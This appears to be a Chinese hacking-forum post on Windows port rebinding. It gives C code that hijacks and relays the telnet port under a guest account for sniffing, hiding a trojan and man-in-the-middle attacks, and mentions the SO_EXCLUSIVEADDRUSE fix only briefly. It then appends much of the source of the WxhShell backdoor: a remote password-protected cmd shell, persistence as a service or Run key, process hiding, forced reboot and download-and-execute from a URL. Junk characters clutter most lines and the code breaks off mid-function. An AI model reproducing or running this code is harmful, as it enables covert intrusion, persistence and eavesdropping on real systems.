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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R"j<C13;%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gO{$p q}  
cJf&R^[T  
  saddr.sin_family = AF_INET; )t((x  
l9e=dV:pH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _6!iv  
lid0 YK-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !mmSF1f  
b;FaTm@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }@"v7X $  
v"o_V|  
  这意味着什么?意味着可以进行如下的攻击: ep4?;Qmho  
;l^'g}dQ^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #&ei  
P%ThW9^vnj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >;lrH&  
$4*gi&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P_5G'[  
Cn0s?3Fm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HQwrb HS  
`n@;%*6/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hXvC>ie(i  
;66{S'*[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m#ig.z|A  
Vju/+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e,Z[Nox  
#l h' !  
  #include M N (o  
  #include VCVKh  
  #include LcT;7yv  
  #include    F|cli <  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1:Ff#Eq,s  
  int main() L)8%*X  
  { U_hzSf  
  WORD wVersionRequested; g6+5uvpd  
  DWORD ret; F("|SOhc  
  WSADATA wsaData; Ls+vWfF=#  
  BOOL val; ej7L-~lxQ  
  SOCKADDR_IN saddr; 9R">l5u  
  SOCKADDR_IN scaddr; 4 L 5$=V  
  int err; JP(0/?Q  
  SOCKET s; RP^vx`9h  
  SOCKET sc; QyY<Zi;6  
  int caddsize; sgnc$x"  
  HANDLE mt; @^J>. g  
  DWORD tid;   nN^lY=3  
  wVersionRequested = MAKEWORD( 2, 2 ); unNN&m#@  
  err = WSAStartup( wVersionRequested, &wsaData ); =**Q\ Sl  
  if ( err != 0 ) { %%#bTyF  
  printf("error!WSAStartup failed!\n"); <Ql2+ev6  
  return -1; ZmycK:f  
  } Jz*A!Li  
  saddr.sin_family = AF_INET; cj^hwtx   
   xj9xUun  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *K& $9fah  
F(ZczwvR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dWu;F^  
  saddr.sin_port = htons(23); Lxv6\3I+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6$kh5$[  
  { q: X^V$`  
  printf("error!socket failed!\n"); 3[m2F O,Z  
  return -1; J qmL|S)  
  } ggrkj0  
  val = TRUE; ;Wa&Dg/5`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jl6lZd(Np  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dt>9mF q  
  { ^w&!}f+  
  printf("error!setsockopt failed!\n"); X4!Jj *  
  return -1; ` @lNt}  
  } fW[RCd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o\PHs4Ws'7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o q6^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4)>S3Yr  
xJnN95`R@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;.rY`<|  
  { JStEOQF4  
  ret=GetLastError(); ]vPdj"7  
  printf("error!bind failed!\n"); $pt~?ZZ3-  
  return -1; mB6%. "  
  } Gd'_X D  
  listen(s,2); K r<UPr  
  while(1) 4@Z!?QzW  
  { E$ &bl  
  caddsize = sizeof(scaddr); +WKN&@  
  //接受连接请求 r:Q=6j,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3.g4X?=zd  
  if(sc!=INVALID_SOCKET) $dWYu"2C D  
  { VS!v7-_N5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I~Qi):&x  
  if(mt==NULL) _3NH"o d  
  { 1~},}S]id  
  printf("Thread Creat Failed!\n"); OF )*kiJ  
  break; yjq|8.L[ G  
  } 0LSJQ9\p  
  } 6#.9T;&  
  CloseHandle(mt); H<;~u:;8Q  
  } ]m7x&N2  
  closesocket(s); .6I'V3:Kg  
  WSACleanup(); :h/v"2uDN  
  return 0; o}f$?{)|   
  }   ITEf Q@#jU  
  DWORD WINAPI ClientThread(LPVOID lpParam) =fdW H4  
  { P_H_\KsH*(  
  SOCKET ss = (SOCKET)lpParam; -N6ek`  
  SOCKET sc; :XoR~syT  
  unsigned char buf[4096]; &Vu-*?  
  SOCKADDR_IN saddr; PfB9 .f{  
  long num; *~*"p)`<  
  DWORD val; !4<A|$mQ  
  DWORD ret; k*C[-5&#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *UXa.kT@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \PFjw9s  
  saddr.sin_family = AF_INET; ,H<nNBv 3M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3`RI[%AN~  
  saddr.sin_port = htons(23); G )`gn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3+ 2&9mm  
  { wehiX7y  
  printf("error!socket failed!\n"); Twr,O;*u=  
  return -1; [-81s!#mkw  
  } W^S]"N0u  
  val = 100; VR A+p?7-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )K`tnb.Pf  
  { Pj_DI)^  
  ret = GetLastError(); f^F"e'1  
  return -1; !R#PJH/TM  
  } sIl&\g<b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h(3-/4  
  { .I$+ E  
  ret = GetLastError(); lz1cLl m  
  return -1; }W[=O:p  
  } h|i b*%P_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9C7HL;MF  
  { (:%t  
  printf("error!socket connect failed!\n"); g[~J107%A  
  closesocket(sc); h0$ \JXk  
  closesocket(ss); \OWxf[  
  return -1; x{GFCy7  
  } so| U&`G  
  while(1) 1,U)rx$H  
  { 0]$-}AYM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0>e]i[P.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V?`|Ha}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zy8+~\a+Y&  
  num = recv(ss,buf,4096,0); SJ:Teab  
  if(num>0) fA[T5<66  
  send(sc,buf,num,0); :Z_abKt  
  else if(num==0) Ir*{IVvej  
  break; +qqCk  
  num = recv(sc,buf,4096,0); C7}iwklcsa  
  if(num>0) klY, @  
  send(ss,buf,num,0);  twK3  
  else if(num==0) R yM2 9uD  
  break; IjQgmS~G  
  } 5B8fz;l= B  
  closesocket(ss); jqTK7b  
  closesocket(sc); ">S1,rhgS  
  return 0 ; v |pHbX  
  } D~`RLPMk  
D$rn?@&g  
e eyZ $n  
========================================================== /[ Rp~YzW  
E8<,j})*  
下边附上一个代码,,WXhSHELL H`Zg-j`  
*"6A>:rQs  
========================================================== =4&"fZ"v  
]@}hyM[D;  
#include "stdafx.h" dldS7Q  
nLPd]%78>  
#include <stdio.h> U2~|AkL  
#include <string.h> 3O _O5  
#include <windows.h> 1!E}A!;  
#include <winsock2.h> F&3:]1  
#include <winsvc.h> vBM<M3  
#include <urlmon.h> / T_v8 {D  
O`N,aYo  
#pragma comment (lib, "Ws2_32.lib") O#>,vf$  
#pragma comment (lib, "urlmon.lib") :!fY;c?  
1]A\@(  
#define MAX_USER   100 // 最大客户端连接数 G Uh<AG*+  
#define BUF_SOCK   200 // sock buffer V%C'@m(/SZ  
#define KEY_BUFF   255 // 输入 buffer >fkV65w{*  
?[WUix;  
#define REBOOT     0   // 重启 -yu$Mm  
#define SHUTDOWN   1   // 关机 P=y1qqC  
3Q)"  
#define DEF_PORT   5000 // 监听端口 U7,.L  
`bn@;7`X  
#define REG_LEN     16   // 注册表键长度 -*-"kzgd  
#define SVC_LEN     80   // NT服务名长度 4$ah~E>,t  
LfCgvq6/pO  
// 从dll定义API &g0r#K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -7J~^m2x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /c4$m3?]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p!<PRms@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )oM% N  
uaCI2I  
// wxhshell配置信息 Z-" NLwt[  
struct WSCFG { iuM ,a F  
  int ws_port;         // 监听端口 rsw= a_S  
  char ws_passstr[REG_LEN]; // 口令 2n#H%&^?a  
  int ws_autoins;       // 安装标记, 1=yes 0=no }/IP\1bG  
  char ws_regname[REG_LEN]; // 注册表键名 (hRg0Z=  
  char ws_svcname[REG_LEN]; // 服务名 y`/:E<fVk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :x^e T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d?cCSf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XB:E<I'q!3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4s"x}c">F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ' 8Q }pp`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NpbZt;%t  
9o]!D,u8=5  
}; =vDDfPR  
`}a-prT<f  
// default Wxhshell configuration -KG1"g,2  
struct WSCFG wscfg={DEF_PORT, gh `_{l  
    "xuhuanlingzhe",  qzSm]l?z  
    1, bhfKhXh8  
    "Wxhshell", \`-xxhb?e  
    "Wxhshell", ^(BE_<~  
            "WxhShell Service", b'ir$RL] c  
    "Wrsky Windows CmdShell Service", 3u s^\w#  
    "Please Input Your Password: ", N%=,S?b  
  1, >{Xyl):  
  "http://www.wrsky.com/wxhshell.exe", P$@:T[}v  
  "Wxhshell.exe" 3q6FV7Fv&b  
    }; 9c5DEq  
Fa{[kJ8z  
// 消息定义模块 EYn9l n_]u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v`@N R06  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A-M6MW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n S Vr,wU  
char *msg_ws_ext="\n\rExit."; 4ZYywDwn  
char *msg_ws_end="\n\rQuit."; 64^3ve3/a=  
char *msg_ws_boot="\n\rReboot..."; 5F]2.<i  
char *msg_ws_poff="\n\rShutdown..."; _b * gg  
char *msg_ws_down="\n\rSave to "; L/5th}m  
Ty3.u9c4  
char *msg_ws_err="\n\rErr!"; 1.Neg|  
char *msg_ws_ok="\n\rOK!"; ,WAJ& '^  
Le,;)Nd  
char ExeFile[MAX_PATH]; `+0P0(bn  
int nUser = 0; 9pk-#/ag  
HANDLE handles[MAX_USER]; tU>7 jo[-p  
int OsIsNt; Oz "_KMz  
="AaC!E,W  
SERVICE_STATUS       serviceStatus; N~?(<DyZR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OhM_{]*  
Tv|i CYB?  
// 函数声明 PM QlJ&  
int Install(void); nY?&k$n  
int Uninstall(void); w(*},  
int DownloadFile(char *sURL, SOCKET wsh); { / ,?3  
int Boot(int flag); oTTE<Ct [  
void HideProc(void); c;n\HYk  
int GetOsVer(void); Lg-!,Y   
int Wxhshell(SOCKET wsl); Q*e\I8R}  
void TalkWithClient(void *cs); ajf(Ii\/  
int CmdShell(SOCKET sock); Pv*]AF;9pQ  
int StartFromService(void); z 1.vnGP  
int StartWxhshell(LPSTR lpCmdLine); "DX 2Mu=  
/38XaKc{6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :*t5?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mKUm*m#<R  
jm'^>p,9G  
// 数据结构和表定义 }z2[w@M  
SERVICE_TABLE_ENTRY DispatchTable[] = VLfKN)g  
{ fd&>p  
{wscfg.ws_svcname, NTServiceMain}, g?u=n`k]\  
{NULL, NULL} FU)=+m  
}; E[FE-{B#  
KvO5-g  
// 自我安装 xE*. ,:,&  
int Install(void) 5d-rF:#  
{ &WS'Me  
  char svExeFile[MAX_PATH]; ;RMevVw|  
  HKEY key; "cvhx/\1#  
  strcpy(svExeFile,ExeFile); g]d0B!Ar~  
4 lwoTGVZj  
// 如果是win9x系统,修改注册表设为自启动 0Ld"df*  
if(!OsIsNt) { iUZV-jl2/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =i},$"Bf*%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #W4 "^#2  
  RegCloseKey(key); y<l(F?_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cXb&Rm' L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q-/t?m0  
  RegCloseKey(key); t"vkd  
  return 0; w=5<mw  
    } 1=PTiDMJ<*  
  } tCv}+7)   
} F4IU2_CnPD  
else { %{? 9#))  
)kYDN_W  
// 如果是NT以上系统,安装为系统服务 Xwd9-:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [* |+ it+!  
if (schSCManager!=0) }-T,cA_H|  
{ q RRvZhf  
  SC_HANDLE schService = CreateService VuD{t%Jb  
  ( :4r*Jju<V  
  schSCManager, AP ]`'C  
  wscfg.ws_svcname, oFsV0 {x%)  
  wscfg.ws_svcdisp, ju1B._48  
  SERVICE_ALL_ACCESS, |w5,%#AeO$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bas1(/|S  
  SERVICE_AUTO_START, vdot .  
  SERVICE_ERROR_NORMAL, yA';~V\V{>  
  svExeFile, wR"17z7[]  
  NULL, |<MSV KW  
  NULL, dZ4c!3'F  
  NULL, Q 87'zf  
  NULL, T9Fe!yVA  
  NULL ,}NTV ~  
  ); -wh  
  if (schService!=0) gJ^taUE  
  { 4zZ.v"laVM  
  CloseServiceHandle(schService); '1~;^rU  
  CloseServiceHandle(schSCManager); s&XL{FE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7;pQ'FmZJ  
  strcat(svExeFile,wscfg.ws_svcname); b Rr3:"=sE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F45-M[z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I__ a}|T%  
  RegCloseKey(key); M C y~~DL  
  return 0; PZI6{KOis  
    } jsP+,brO  
  } cM]ZYi  
  CloseServiceHandle(schSCManager); w: mm@8N  
} ZKM@U?PK  
} #$}A$sm  
{]$)dz5  
return 1; )_6W@s  
} ,hm&]  
as@? Kv  
// 自我卸载 B&<P>AZ  
int Uninstall(void) i1*0'x  
{ {BgJ=0g?  
  HKEY key; yJ ;Qe_up  
$#(j2sL1  
if(!OsIsNt) { T wzpq1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;d FJqo82  
  RegDeleteValue(key,wscfg.ws_regname); tq51;L  
  RegCloseKey(key); LjIkZ'HuF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D0>Pc9  
  RegDeleteValue(key,wscfg.ws_regname); 9Q'[>P=1  
  RegCloseKey(key); p1W6s0L  
  return 0; R`B} T<*  
  } #w:nj1{_  
} RE1M4UV.  
} PKQ.gPu6*@  
else { "8~PfLJ+  
Eu%E2A|`I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (6b0rqPF  
if (schSCManager!=0) /U`p|M;  
{ dnh~An 9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fB]NEx|o~  
  if (schService!=0) ^]Z@H/]H  
  { 7k00lKA\w  
  if(DeleteService(schService)!=0) { 2jxIr-a1G  
  CloseServiceHandle(schService); }(,{^".[}  
  CloseServiceHandle(schSCManager); h\Q@zR*0a  
  return 0; 0& ?L%Y  
  } M27H{} v  
  CloseServiceHandle(schService); u4bVp+  
  } qh6rMqq  
  CloseServiceHandle(schSCManager); NK'@.=$  
} Sh?eb  
} qW'L}x  
J~50#vHY  
return 1; Nr).*]g@~  
} >]o>iOz;]  
~Yc!~Rz  
// 从指定url下载文件 D4uAwmc  
int DownloadFile(char *sURL, SOCKET wsh)  V^rL  
{ 5=%KK3  
  HRESULT hr; iio-RT?!  
char seps[]= "/"; 4YR{ *  
char *token; _dmG#_1  
char *file; eN\+  
char myURL[MAX_PATH]; NEvNj  
char myFILE[MAX_PATH]; MSRk|0Mcr  
i0zrXaKV  
strcpy(myURL,sURL); tU *`X(;  
  token=strtok(myURL,seps); !Ce!D0Tx  
  while(token!=NULL) .2s^8gO  
  { *2rc Y  
    file=token; tGzp= PyA  
  token=strtok(NULL,seps); ayQeT  
  } _O ;4>  
CGkx_E]  
GetCurrentDirectory(MAX_PATH,myFILE); B^/k`h6J  
strcat(myFILE, "\\"); o\; hF3   
strcat(myFILE, file); \9uK^oS  
  send(wsh,myFILE,strlen(myFILE),0); d={o|Mf  
send(wsh,"...",3,0); `uZMln @  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f1;@a>X  
  if(hr==S_OK) OiS\tK?|GV  
return 0; Rjv;[  
else 0s\ -iub=d  
return 1; X8-x$07)  
?~(#~3x  
} Xo&\~b#-  
cbs ;  
// 系统电源模块 adAdX;@e`  
int Boot(int flag) !l Egta[Ql  
{ F ^aD#  
  HANDLE hToken; Tku6X/LF  
  TOKEN_PRIVILEGES tkp; g"(@+\XZH"  
=\oL'>q  
  if(OsIsNt) { #dD0vYT&od  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~*9Ue@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hJD3G |E  
    tkp.PrivilegeCount = 1; P}qpy\/(4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _:WNk(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x+;y0`oL  
if(flag==REBOOT) { =N8_S$nx(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6:6A" A  
  return 0; YDj5+'y  
} Jb^{o+s53  
else { FSAX , Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C"%B >e  
  return 0; (|rf>=B+H  
} /oLY\>pD  
  } MLg{Y?@  
  else { _[-W*,xJ)  
if(flag==REBOOT) { kytHOn#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C'R6mz%Q?  
  return 0; |0?v4%g  
} ]61HQ  
else { T,rRE7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ts}OE  
  return 0; GZKYRPg  
} Yyr9Kj:  
} -A=3W3:C  
^8J`*R8CL  
return 1; 6EO@ Xf7,  
} VX>j2Z'  
5Pxx)F9]  
// win9x进程隐藏模块 zSU,le  
void HideProc(void) oif|X7H;  
{ 4*Gv0#dga  
41s\^'^&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v Y0ESc{  
  if ( hKernel != NULL ) 8DY:a['-d  
  { &[_@f#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V*5v JF0j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !c1M{klP  
    FreeLibrary(hKernel); ".waCt6  
  } +^&i(7a[?  
R5%CK_  
return; [#RFdn<  
} 5E1`qof  
`9+R]C]z8  
// 获取操作系统版本 u@`a~  
int GetOsVer(void) G%;>_E  
{ 6H5o/)Q~  
  OSVERSIONINFO winfo; pe2:~}WB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w6)Q5H53)  
  GetVersionEx(&winfo); f1+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {"%a-*@%  
  return 1; kh:_,g  
  else Lo#G. s|  
  return 0; c@"FV,L>  
} 4,Oa(b  
_DT,iF*6  
// 客户端句柄模块 B RskxyL&,  
int Wxhshell(SOCKET wsl) )S 4RR2Q>  
{ (GC5r#AnS  
  SOCKET wsh; V$O6m|q  
  struct sockaddr_in client; 80'@+AD  
  DWORD myID; X0-PJ-\aD@  
*w O~RnP  
  while(nUser<MAX_USER) HKI\i)c  
{ _ SOwiz  
  int nSize=sizeof(client); `O%nDry  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b;5j awG  
  if(wsh==INVALID_SOCKET) return 1; i*m ;kWu,  
e&U$;sS`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R@s7s%y=  
if(handles[nUser]==0) ipg`8*My  
  closesocket(wsh); wy tMoG\  
else n%#3xo a  
  nUser++; lS7L|  
  } cNxxX!P/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4%w<Ekd  
bv'>4a  
  return 0; law$LL  
} kp*!  
Z`M pH  
// 关闭 socket m"'LT0nur  
void CloseIt(SOCKET wsh) B["+7\c<~  
{ strM3j##x  
closesocket(wsh); 2,`X@N`\  
nUser--; X&LJ"ahK  
ExitThread(0); W;2J~V!c  
} 3nc\6v%  
O6)Po  
// 客户端请求句柄 .m l\z5  
void TalkWithClient(void *cs) #jG?{j3;?  
{ ?kQY ^pU  
v @0G^z|  
  SOCKET wsh=(SOCKET)cs; gh\u@#$8  
  char pwd[SVC_LEN]; ,=4,eCS  
  char cmd[KEY_BUFF]; Z|Rc54Ct  
char chr[1]; s(5hFuyg  
int i,j; ;CF:cH*  
*pSnEWwE  
  while (nUser < MAX_USER) { g3&nxZ  
CJ%'VijhD  
if(wscfg.ws_passstr) { K8MET&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o5DT1>h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jOrfI-&.G  
  //ZeroMemory(pwd,KEY_BUFF);  Fpn*]x  
      i=0; h]t v+\0  
  while(i<SVC_LEN) { %<a3[TQd`\  
B ;E"VS0  
  // 设置超时 9X=<uS  
  fd_set FdRead; `y^\c#k  
  struct timeval TimeOut; amC)t8L?  
  FD_ZERO(&FdRead); Ao}<a1f  
  FD_SET(wsh,&FdRead); dVj2x-R)  
  TimeOut.tv_sec=8; :i?6#_2IC  
  TimeOut.tv_usec=0; h8 N|m0W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5R~M@   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d7[^p N  
1G5AL2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G~(\N?2  
  pwd=chr[0]; t,JX6ni  
  if(chr[0]==0xd || chr[0]==0xa) { R@z`  
  pwd=0; 2p\xgAW?  
  break; wn!=G~nB  
  } 2&n6:"u|  
  i++; YX-j|m|  
    } X5VNj|IE  
JfSe; v  
  // 如果是非法用户,关闭 socket ox&? `DO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eS@j? Y0y  
} M.}J SDt  
so$(-4(E O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {R(CGrI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {cOx0=  
Gt*K:KT=L  
while(1) { 0Atha>w^o~  
gveJ1P  
  ZeroMemory(cmd,KEY_BUFF); k89N}MA   
`14@dk  
      // 自动支持客户端 telnet标准   }BI6dZ~2A  
  j=0; y,|2hrj/0E  
  while(j<KEY_BUFF) { s9CmR]C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CZ u=/8?  
  cmd[j]=chr[0]; XF)N_}X^  
  if(chr[0]==0xa || chr[0]==0xd) { %\sE\]K  
  cmd[j]=0; YCltS!k  
  break; p{LbTjdNc  
  } T5zS3O  
  j++; K=JDl-#!  
    } 9GCK3  
)G^k$j  
  // 下载文件 ]-{ fr+  
  if(strstr(cmd,"http://")) { e( @< /W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >\<eR]12  
  if(DownloadFile(cmd,wsh)) Y` ]P&y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s)]T"87H'_  
  else Y=G`~2Pr=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x cAs}y}  
  } `b8nz 7  
  else { W g7 eY'FE  
p:y\{k"  
    switch(cmd[0]) { =O0A(ca"g  
  Vlz\n  
  // 帮助 Lg!E  
  case '?': { K=0xR*ll5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4sQm"XgE  
    break; :FS5BT$=  
  } b7\>=  
  // 安装 fb`x1Q  
  case 'i': { ^`id/  
    if(Install()) uBt ]4d*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pIC'nO_  
    else +vxf_*0;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TBPu&+3  
    break; I1':&l^O  
    } 7<e}5nA/  
  // 卸载 &-Ch>:[  
  case 'r': { J(d+EjC  
    if(Uninstall()) ^;a .;wR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hDB(y4/  
    else 3WQa^'u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uGC5XX^  
    break; .uauSx/#4  
    } TCRTC0_}k  
  // 显示 wxhshell 所在路径 V;MmPNP|  
  case 'p': { ;a1DIUm'  
    char svExeFile[MAX_PATH]; qCcLd7`$  
    strcpy(svExeFile,"\n\r"); [HWVS  
      strcat(svExeFile,ExeFile); |X:`o;Uma  
        send(wsh,svExeFile,strlen(svExeFile),0); uXFI7vV6P  
    break; /mz.HCs  
    } iE"]S )  
  // 重启 ;y\/7E  
  case 'b': { ) u{ ]rb[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U&])ow):  
    if(Boot(REBOOT)) !;&\n3-W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PVlC j  
    else { +W[f>3`VQ  
    closesocket(wsh); K1J |\!o  
    ExitThread(0); <lIm==U<-  
    } _xh)]R  
    break; [q!]Ds" _  
    } k-n`R)p:  
  // 关机 e`={_R{N  
  case 'd': { *w*K&$g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); , p}:?uR  
    if(Boot(SHUTDOWN)) < r~hU*u  
